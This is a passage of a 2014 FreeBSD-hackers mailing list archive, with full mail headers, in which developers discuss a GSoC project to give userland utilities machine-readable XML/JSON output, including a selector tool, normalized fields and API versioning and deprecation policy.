'ls'. Unless this was really smart thought out, only tools that >> were prepared to work together would be able to do so, and you would need to look up which >> utilities work together. >> >> Even if we leave input alone and focus on output, we might want to let sed, grep, awk and >> friends understand JSON/XML input so we can e.g. use XPath syntax to grep for certain >> elements in XML output, or filter certain JSON elements from the output. At least I think >> FreeBSD should gain command-line tools that offer at a subset of the JSON and XML >> functionality that e.g. Python offers when working with these data formats. Using simple >> awk and grep with these formats would be regex madness. >> >> I've had long hours fighting with grep, awk and others to get simple scripts to behave >> properly due to the machine-unfriendly format of some tools, so I really like the idea of >> machine-readable output. sysctl offers some good examples of do's and dont's in this >> regard, and I feel that the concept of machine readability needs to be thought through >> very carefully to be exactly as awesome as when I first started grep'ing, awk'ing, sed'ing >> and piping my way through the UNIX shell. >> > > Basically the idea would be to write a simple tool that is able to > extract using an xpath or json selector. > > Example (very rough code): > > ifconfig --output xml | selector --format xml --path /name --path > /name/etheraddr | \ > while read name ether ; do > echo "Interface $name has hardware address $ether" ; > done > > In all seriousness though, the real target is people writing higher > level languages (than shell) on top of FreeBSD. Perhaps python or ruby > spawning a utility and then that utility making the output easy to read. > > One thing to note is that the output should not just be formatted but > normalized as well. The fact that "uptime" can emit 15 different > formats for the uptime string is terrible for people coding on top of > the base utils, the json/xml/other output should be decided on some form > of normalized data likely in seconds + microseconds or something, but > anything truly machine readable is better than the current output when > popen'd by a webapp. > > -Alfred Greetings, all. I may be getting into this thread a bit late in the game. But if I understand the gist of this correctly; isn't all this pretty much what Perl was intended for? All the best. --Chris > > > > > > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Wed May 21 05:01:19 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9ED40FE1 for ; Wed, 21 May 2014 05:01:19 +0000 (UTC) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.freebsd.org (Postfix) with ESMTP id 8AE9F2879 for ; Wed, 21 May 2014 05:01:19 +0000 (UTC) Received: from u10-2-16-025.office.norse-data.com (unknown [50.204.88.51]) by elvis.mu.org (Postfix) with ESMTPSA id 739631A3C19; Tue, 20 May 2014 22:01:13 -0700 (PDT) Message-ID: <537C335C.3060105@mu.org> Date: Tue, 20 May 2014 22:02:20 -0700 From: Alfred Perlstein User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Chris H Subject: Re: [GSoC] Machine readable output from userland utilities References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> <91FE2526-F21C-42AB-BECB-058DBA975A9E@cederstrand.dk> <537C2993.1060206@mu.org> In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@freebsd.org, Erik Cederstrand X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 21 May 2014 05:01:19 -0000 On 5/20/14, 9:58 PM, Chris H wrote: >> >> Basically the idea would be to write a simple tool that is able to >> extract using an xpath or json selector. >> >> Example (very rough code): >> >> ifconfig --output xml | selector --format xml --path /name --path >> /name/etheraddr | \ >> while read name ether ; do >> echo "Interface $name has hardware address $ether" ; >> done >> >> In all seriousness though, the real target is people writing higher >> level languages (than shell) on top of FreeBSD. Perhaps python or ruby >> spawning a utility and then that utility making the output easy to read. >> >> One thing to note is that the output should not just be formatted but >> normalized as well. The fact that "uptime" can emit 15 different >> formats for the uptime string is terrible for people coding on top of >> the base utils, the json/xml/other output should be decided on some form >> of normalized data likely in seconds + microseconds or something, but >> anything truly machine readable is better than the current output when >> popen'd by a webapp. >> >> -Alfred > Greetings, all. > I may be getting into this thread a bit late in the game. But if I > understand the gist of this correctly; isn't all this pretty much what > Perl was intended for? > > All the best. I can't tell if you're late or early since the connection is breaking up, but from what I can make out you're stuck in 1997. -Alfred From owner-freebsd-hackers@FreeBSD.ORG Wed May 21 05:49:47 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E035EFBF for ; Wed, 21 May 2014 05:49:47 +0000 (UTC) Received: from udns.ultimateDNS.NET (ultimatedns.net [209.180.214.225]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 8843C2BA0 for ; Wed, 21 May 2014 05:49:46 +0000 (UTC) Received: from udns.ultimateDNS.NET (localhost [127.0.0.1]) by udns.ultimateDNS.NET (8.14.5/8.14.5) with ESMTP id s4L5q2F6037132; Tue, 20 May 2014 22:52:08 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: (from www@localhost) by udns.ultimateDNS.NET (8.14.5/8.14.5/Submit) id s4L5pu9w037126; Tue, 20 May 2014 22:51:56 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: from udns.ultimatedns.net ([209.180.214.225]) (UDNSMS authenticated user chrish) by ultimatedns.net with HTTP; Tue, 20 May 2014 22:51:57 -0700 (PDT) Message-ID: <2ac30e8c9d22b09dacb4446722a5b61e.authenticated@ultimatedns.net> In-Reply-To: <537C335C.3060105@mu.org> References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> <91FE2526-F21C-42AB-BECB-058DBA975A9E@cederstrand.dk> <537C2993.1060206@mu.org> <537C335C.3060105@mu.org> Date: Tue, 20 May 2014 22:51:57 -0700 (PDT) Subject: Re: [GSoC] Machine readable output from userland utilities From: "Chris H" To: "Alfred Perlstein" User-Agent: UDNSMS/2.0.3 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal Cc: freebsd-hackers@freebsd.org, Erik Cederstrand , Chris H X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 21 May 2014 05:49:48 -0000 > > On 5/20/14, 9:58 PM, Chris H wrote: >>> >>> Basically the idea would be to write a simple tool that is able to >>> extract using an xpath or json selector. >>> >>> Example (very rough code): >>> >>> ifconfig --output xml | selector --format xml --path /name --path >>> /name/etheraddr | \ >>> while read name ether ; do >>> echo "Interface $name has hardware address $ether" ; >>> done >>> >>> In all seriousness though, the real target is people writing higher >>> level languages (than shell) on top of FreeBSD. Perhaps python or ruby >>> spawning a utility and then that utility making the output easy to read. >>> >>> One thing to note is that the output should not just be formatted but >>> normalized as well. The fact that "uptime" can emit 15 different >>> formats for the uptime string is terrible for people coding on top of >>> the base utils, the json/xml/other output should be decided on some form >>> of normalized data likely in seconds + microseconds or something, but >>> anything truly machine readable is better than the current output when >>> popen'd by a webapp. >>> >>> -Alfred >> Greetings, all. >> I may be getting into this thread a bit late in the game. But if I >> understand the gist of this correctly; isn't all this pretty much what >> Perl was intended for? >> >> All the best. > > I can't tell if you're late or early since the connection is breaking > up, but from what I can make out you're stuck in 1997. LOL. That's good. :) I'm clearly missing something -- no, not the 21st century. ;) But just for the record; I meant nothing negative by my assertion. It just /seemed/ like Perl would/could be capable. --Chris > > -Alfred > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Wed May 21 06:27:46 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9D23FDF for ; Wed, 21 May 2014 06:27:46 +0000 (UTC) Received: from csmtp5.one.com (csmtp5.one.com [195.47.247.105]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 5E8722F6D for ; Wed, 21 May 2014 06:27:46 +0000 (UTC) Received: from [192.168.1.11] (unknown [217.157.7.221]) by csmtp5.one.com (Postfix) with ESMTPA id F142C40000312; Wed, 21 May 2014 06:18:00 +0000 (UTC) Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: [GSoC] Machine readable output from userland utilities From: Erik Cederstrand In-Reply-To: <537C2993.1060206@mu.org> Date: Wed, 21 May 2014 08:17:59 +0200 Content-Transfer-Encoding: quoted-printable Message-Id: References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> <91FE2526-F21C-42AB-BECB-058DBA975A9E@cederstrand.dk> <537C2993.1060206@mu.org> To: Alfred Perlstein X-Mailer: Apple Mail (2.1878.2) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 21 May 2014 06:27:46 -0000 Den 21/05/2014 kl. 06.20 skrev Alfred Perlstein : > In all seriousness though, the real target is people writing higher = level languages (than shell) on top of FreeBSD. Perhaps python or ruby = spawning a utility and then that utility making the output easy to read. If that's the use case, than I'm fine with this. I often find I need to = combine Python and shell output (working with dates in shell is = horrible, for example), and formalized output would simplify some = scripts considerably. Erik= From owner-freebsd-hackers@FreeBSD.ORG Wed May 21 07:17:50 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4D5569C8 for ; Wed, 21 May 2014 07:17:50 +0000 (UTC) Received: from mail-lb0-x230.google.com (mail-lb0-x230.google.com [IPv6:2a00:1450:4010:c04::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id CA524249A for ; Wed, 21 May 2014 07:17:49 +0000 (UTC) Received: by mail-lb0-f176.google.com with SMTP id p9so1217918lbv.7 for ; Wed, 21 May 2014 00:17:47 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:from:date:message-id :subject:to:content-type; bh=2ZTQvGy4/BR5mbqPuNVXWibC4qfwbZhtaRjeX3Tghyo=; b=EtoMk/Q2Wb36/lMmMiM3eUjAayVZ6APSZmwYkj6fsqZwkah3xASKsXZCcw3n3G+3Rs g4qRs9eL8mhPGCVMqdiNJ1iX8Ir+n6nmVMXvnh6WHYJ7bvLV16aLjK7IQ5XfI2AQWI9Z OcmCEu9oBBBkd44zik3SpJihhFZYhNXwfWhE7VVZ+A4vedQ6DhxSscCIVCm6JEcMk95L aLi/9Y5JzrFPgAsBNaKpwxFcYwiIa5qDfb2DNT2gpccsVkloNPotSbqYwoVnpUkjhI7l zRR1LA7+Tdva3TztJsldvN1YMReo79O9TMqF4v7BVgoOD7jMvW0QFd8HIiOhoQSr7E28 vfJA== X-Received: by 10.152.10.2 with SMTP id e2mr147499lab.76.1400656667490; Wed, 21 May 2014 00:17:47 -0700 (PDT) MIME-Version: 1.0 Sender: royce.williams@gmail.com Received: by 10.112.17.133 with HTTP; Wed, 21 May 2014 00:17:27 -0700 (PDT) In-Reply-To: References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> <91FE2526-F21C-42AB-BECB-058DBA975A9E@cederstrand.dk> <537C2993.1060206@mu.org> From: Royce Williams Date: Tue, 20 May 2014 23:17:27 -0800 X-Google-Sender-Auth: vcXBeb7-TLtNHzT-Oj59eLJ-cLg Message-ID: Subject: Re: [GSoC] Machine readable output from userland utilities To: FreeBSD Hackers Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 21 May 2014 07:17:50 -0000 On Tue, May 20, 2014 at 10:17 PM, Erik Cederstrand wrote: > > > Den 21/05/2014 kl. 06.20 skrev Alfred Perlstein : > > > In all seriousness though, the real target is people writing higher level languages (than shell) on top of FreeBSD. Perhaps python or ruby spawning a utility and then that utility making the output easy to read. > > If that's the use case, than I'm fine with this. I often find I need to combine Python and shell output (working with dates in shell is horrible, for example), and formalized output would simplify some scripts considerably. +1. As part of this, may I suggest structured version and version-transition metadata for the exported data formats? All formalized output should publish current and supported API version numbers, and deprecation/removal target versions of some kind. Tools would need to be able to request a specific API version number. This will allow tools that consume structured output to transition to new formats in a stable fashion. Scripts can check for deprecated API and start sounding the alarm in advance. For example, if I'm consuming top output, I can ask for "2.0 output", whereupon top could tell me that 2.0 output will be deprecated as of 3.0, and no longer supported as of 4.0. Today, human-readable and machine-readable are happening at the same time. More than once, when I've suggested output improvements, I've gotten the "too many systems are scraping this output for us to change it" response. This will really lay the groundwork to help with that ... someday. Worth the effort. Royce From owner-freebsd-hackers@FreeBSD.ORG Wed May 21 08:19:35 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5E8EA74C for ; Wed, 21 May 2014 08:19:35 +0000 (UTC) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.freebsd.org (Postfix) with ESMTP id 4B9BF2B82 for ; Wed, 21 May 2014 08:19:35 +0000 (UTC) Received: from AlfredMacbookAir.local (unknown [50.204.88.5]) by elvis.mu.org (Postfix) with ESMTPSA id 0D17A1A3C1B; Wed, 21 May 2014 01:19:33 -0700 (PDT) Message-ID: <537C6195.5000509@mu.org> Date: Wed, 21 May 2014 01:19:33 -0700 From: Alfred Perlstein User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Erik Cederstrand Subject: Re: [GSoC] Machine readable output from userland utilities References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> <91FE2526-F21C-42AB-BECB-058DBA975A9E@cederstrand.dk> <537C2993.1060206@mu.org> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 21 May 2014 08:19:35 -0000 On 5/20/14, 11:17 PM, Erik Cederstrand wrote: > Den 21/05/2014 kl. 06.20 skrev Alfred Perlstein : > >> In all seriousness though, the real target is people writing higher level languages (than shell) on top of FreeBSD. Perhaps python or ruby spawning a utility and then that utility making the output easy to read. > If that's the use case, than I'm fine with this. I often find I need to combine Python and shell output (working with dates in shell is horrible, for example), and formalized output would simplify some scripts considerably. Yes exactly. I've given some preliminary talks and devops people eyes light up with excitement. thank you, -Alfred From owner-freebsd-hackers@FreeBSD.ORG Wed May 21 08:24:55 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CC9A0AF5 for ; Wed, 21 May 2014 08:24:55 +0000 (UTC) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.freebsd.org (Postfix) with ESMTP id B88702C72 for ; Wed, 21 May 2014 08:24:55 +0000 (UTC) Received: from AlfredMacbookAir.local (unknown [50.204.88.5]) by elvis.mu.org (Postfix) with ESMTPSA id EDFEB1A3C19 for ; Wed, 21 May 2014 01:24:54 -0700 (PDT) Message-ID: <537C62D5.9030503@mu.org> Date: Wed, 21 May 2014 01:24:53 -0700 From: Alfred Perlstein User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: [GSoC] Machine readable output from userland utilities References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> <91FE2526-F21C-42AB-BECB-058DBA975A9E@cederstrand.dk> <537C2993.1060206@mu.org> <537C335C.3060105@mu.org> <2ac30e8c9d22b09dacb4446722a5b61e.authenticated@ultimatedns.net> In-Reply-To: <2ac30e8c9d22b09dacb4446722a5b61e.authenticated@ultimatedns.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 21 May 2014 08:24:55 -0000 On 5/20/14, 10:51 PM, Chris H wrote: >> On 5/20/14, 9:58 PM, Chris H wrote: >>>> >>> Greetings, all. >>> I may be getting into this thread a bit late in the game. But if I >>> understand the gist of this correctly; isn't all this pretty much what >>> Perl was intended for? >>> >>> All the best. >> I can't tell if you're late or early since the connection is breaking >> up, but from what I can make out you're stuck in 1997. > LOL. That's good. :) > I'm clearly missing something -- no, not the 21st century. ;) > But just for the record; I meant nothing negative by my assertion. > It just /seemed/ like Perl would/could be capable. Perl would be perfectly capable if it was 1997. What are you suggesting? Seriously? -Alfred From owner-freebsd-hackers@FreeBSD.ORG Wed May 21 08:29:21 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 54514FDC for ; Wed, 21 May 2014 08:29:21 +0000 (UTC) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.freebsd.org (Postfix) with ESMTP id 3F8A72D45 for ; Wed, 21 May 2014 08:29:21 +0000 (UTC) Received: from AlfredMacbookAir.local (unknown [50.204.88.5]) by elvis.mu.org (Postfix) with ESMTPSA id 8ED7E1A3C1B; Wed, 21 May 2014 01:29:20 -0700 (PDT) Message-ID: <537C63DF.1090402@mu.org> Date: Wed, 21 May 2014 01:29:19 -0700 From: Alfred Perlstein User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Royce Williams , FreeBSD Hackers Subject: Re: [GSoC] Machine readable output from userland utilities References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> <91FE2526-F21C-42AB-BECB-058DBA975A9E@cederstrand.dk> <537C2993.1060206@mu.org> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 21 May 2014 08:29:21 -0000 On 5/21/14, 12:17 AM, Royce Williams wrote: > On Tue, May 20, 2014 at 10:17 PM, Erik Cederstrand > wrote: >> >> Den 21/05/2014 kl. 06.20 skrev Alfred Perlstein : >> >>> In all seriousness though, the real target is people writing higher level languages (than shell) on top of FreeBSD. Perhaps python or ruby spawning a utility and then that utility making the output easy to read. >> If that's the use case, than I'm fine with this. I often find I need to combine Python and shell output (working with dates in shell is horrible, for example), and formalized output would simplify some scripts considerably. > +1. > > As part of this, may I suggest structured version and > version-transition metadata for the exported data formats? > > All formalized output should publish current and supported API version > numbers, and deprecation/removal target versions of some kind. Tools > would need to be able to request a specific API version number. This > will allow tools that consume structured output to transition to new > formats in a stable fashion. Scripts can check for deprecated API and > start sounding the alarm in advance. > > For example, if I'm consuming top output, I can ask for "2.0 output", > whereupon top could tell me that 2.0 output will be deprecated as of > 3.0, and no longer supported as of 4.0. > > Today, human-readable and machine-readable are happening at the same > time. More than once, when I've suggested output improvements, I've > gotten the "too many systems are scraping this output for us to change > it" response. This will really lay the groundwork to help with that > ... someday. Worth the effort. This is a great idea. Having compat formats is very important. That said there are a few things here we can do to keep the scope of this project down to something doable by a student as well as very useful for FreeBSD. First off we can decide that without any additional specification that v1.0 is the default version, it then becomes up to the app to ask for v2.0, v2.1, etc at a later date. Second off we can explain to people that the format may actually grow to have more fields and that applications are expected to ignore those additional fields. Doing so means that we only need to rev the output version if there is a field we retire or change the actual machine format of which should be a rare occurrence. -Alfred > > Royce > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Wed May 21 09:57:04 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5CA10FA1 for ; Wed, 21 May 2014 09:57:04 +0000 (UTC) Received: from csmtp15.one.com (csmtp15.one.com [195.47.247.115]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 1B60D2663 for ; Wed, 21 May 2014 09:57:03 +0000 (UTC) Received: from [192.168.1.11] (unknown [217.157.7.221]) by csmtp15.one.com (Postfix) with ESMTPA id 4ACB140000978; Wed, 21 May 2014 09:49:29 +0000 (UTC) Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: [GSoC] Machine readable output from userland utilities From: Erik Cederstrand In-Reply-To: <537C63DF.1090402@mu.org> Date: Wed, 21 May 2014 11:49:26 +0200 Content-Transfer-Encoding: quoted-printable Message-Id: <8DDBACB5-749B-4660-B1DE-F2EE51033D96@cederstrand.dk> References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> <91FE2526-F21C-42AB-BECB-058DBA975A9E@cederstrand.dk> <537C2993.1060206@mu.org> <537C63DF.1090402@mu.org> To: Alfred Perlstein X-Mailer: Apple Mail (2.1878.2) Cc: FreeBSD Hackers , Royce Williams X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 21 May 2014 09:57:04 -0000 Den 21/05/2014 kl. 10.29 skrev Alfred Perlstein : >=20 > This is a great idea. Having compat formats is very important. >=20 > That said there are a few things here we can do to keep the scope of = this project down to something doable by a student as well as very = useful for FreeBSD. >=20 > First off we can decide that without any additional specification that = v1.0 is the default version, it then becomes up to the app to ask for = v2.0, v2.1, etc at a later date. To keep the scope even further down, why not just adopt the same policy = regarding API stability and deprecation as the rest of the FreeBSD = project? Erik= From owner-freebsd-hackers@FreeBSD.ORG Wed May 21 16:16:49 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E7D1A967 for ; Wed, 21 May 2014 16:16:49 +0000 (UTC) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.freebsd.org (Postfix) with ESMTP id D15EC25B5 for ; Wed, 21 May 2014 16:16:49 +0000 (UTC) Received: from Alfreds-MacBook-Pro-2.local (c-76-21-10-192.hsd1.ca.comcast.net [76.21.10.192]) by elvis.mu.org (Postfix) with ESMTPSA id 2F2451A3C19; Wed, 21 May 2014 09:16:48 -0700 (PDT) Message-ID: <537CD1EE.2000708@mu.org> Date: Wed, 21 May 2014 09:18:54 -0700 From: Alfred Perlstein User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Erik Cederstrand Subject: Re: [GSoC] Machine readable output from userland utilities References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> <91FE2526-F21C-42AB-BECB-058DBA975A9E@cederstrand.dk> <537C2993.1060206@mu.org> <537C63DF.1090402@mu.org> <8DDBACB5-749B-4660-B1DE-F2EE51033D96@cederstrand.dk> In-Reply-To: <8DDBACB5-749B-4660-B1DE-F2EE51033D96@cederstrand.dk> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: FreeBSD Hackers , Royce Williams X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 21 May 2014 16:16:50 -0000 On 5/21/14 2:49 AM, Erik Cederstrand wrote: > Den 21/05/2014 kl. 10.29 skrev Alfred Perlstein : >> This is a great idea. Having compat formats is very important. >> >> That said there are a few things here we can do to keep the scope of this project down to something doable by a student as well as very useful for FreeBSD. >> >> First off we can decide that without any additional specification that v1.0 is the default version, it then becomes up to the app to ask for v2.0, v2.1, etc at a later date. > To keep the scope even further down, why not just adopt the same policy regarding API stability and deprecation as the rest of the FreeBSD project? > That sounds reasonable. Is there a link to the specifics we can have? -Alfred From owner-freebsd-hackers@FreeBSD.ORG Wed May 21 20:40:16 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9F077443 for ; Wed, 21 May 2014 20:40:16 +0000 (UTC) Received: from csmtp2.one.com (csmtp2.one.com [91.198.169.22]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 5C1F22DA9 for ; Wed, 21 May 2014 20:40:16 +0000 (UTC) Received: from bigmac.router9fbd7c.com (unknown [176.222.238.90]) by csmtp2.one.com (Postfix) with ESMTPA id CF34E4000A2E1; Wed, 21 May 2014 20:31:21 +0000 (UTC) Content-Type: text/plain; charset=iso-8859-1 Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: [GSoC] Machine readable output from userland utilities From: Erik Cederstrand In-Reply-To: <537CD1EE.2000708@mu.org> Date: Wed, 21 May 2014 22:31:20 +0200 Content-Transfer-Encoding: quoted-printable Message-Id: References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> <91FE2526-F21C-42AB-BECB-058DBA975A9E@cederstrand.dk> <537C2993.1060206@mu.org> <537C63DF.1090402@mu.org> <8DDBACB5-749B-4660-B1DE-F2EE51033D96@cederstrand.dk> <537CD1EE.2000708@mu.org> To: Alfred Perlstein X-Mailer: Apple Mail (2.1878.2) Cc: FreeBSD Hackers , Royce Williams X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 21 May 2014 20:40:16 -0000 Den 21/05/2014 kl. 18.18 skrev Alfred Perlstein : > That sounds reasonable. Is there a link to the specifics we can have? I'm surprised that I couldn't find anything written in the Developers' = Handbook or elsewhere. =46rom what I gather, it's along the lines of: * Don't break the API in the duration of a major release. Additional = features may be added in minor releases. * Mark an API for deprecation in the next major release, and remove it = in the next major release after that. * API changes should try to adhere to POLA. * The policy is not strict and may be violated for e.g. security = reasons. For convenience, a utility could announce the API version in the output = (something comparable to symbol versioning for shared libs), but a = simpler solution would simply require scripts to check which FreeBSD = release they are running on before making assumptions about the XML/JSON = output. Just like Python scripts that support different Python versions = must handle version differences manually. Erik= From owner-freebsd-hackers@FreeBSD.ORG Thu May 22 14:13:52 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0F37C517 for ; Thu, 22 May 2014 14:13:52 +0000 (UTC) Received: from na3sys010aog103.obsmtp.com (na3sys010aog103.obsmtp.com [74.125.245.74]) by 